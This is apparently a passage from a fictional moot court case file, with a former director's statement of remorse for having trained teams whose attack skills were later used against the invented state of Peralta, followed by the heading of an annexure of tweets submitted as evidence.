Some of the demonstrations that we facilitated were- attack on Public Info-


dispensation System, cellular networks, softwares pertaining to the banking
system et cetera. The objective was to make these trainees self-sufficient. Specific
instructions were given that none of the executive members forming part of the
trainer’s team should construct or encourage any kind of personal relations or
contact with the trainees. At that time, I used to feel proud of my contribution
towards the execution of the innovative policy created by WarLock’s Presidency.
Alas, I could never figure, that I was a mere pawn in the hands of my corporate
bosses!

It was only in December 2012, when Mr. Sparrow kept various secret meetings
with certain members of these teams and refused me to make me privy to the
contents of the same, that I grew suspicious.

My suspicion turned into a reality with the first set of attacks against Peralta.
Thereafter, in my capacity as one of the Directors of Spelter, I raised many
‘uncomfortable’ questions before the management. These questions were
conveniently brushed aside and soon I discovered myself in the thick and thin of
criminal prosecutions launched against me on multiple charges including money

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laundering and treason. My citizenship was revoked by the Government and all
plausible attempts were made to prevent me from challenging the legal validity of
this revocation. But for the timely support and cooperation provided by the
Peraltian embassy in Vanderguard, my survival in Vanderguard would have been
jeopardized. To such extent, I shall forever stand indebted to the Peraltian
Government.

When I see all these attacks on Peralta, I see that all my hard work has been used
for destroying the country of Peralta. I cannot express the guilt that I feel. I
apologize from the bottom of my heart to the people of Peralta. I never knew
that my knowledge would be employed to carry out such deplorable deeds. Had I
known about the same, I would have never helped that devil sitting with the
crown.

-Riley Mercer

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ANNEXURE – 12: TWEETS

The following are series of tweets shared on different online websites. The Prosecutor has
submitted it to the Court as evidence intending to establish, inter alia, that the accused had
knowledge and was aware of the attacks taking place in Peralta.

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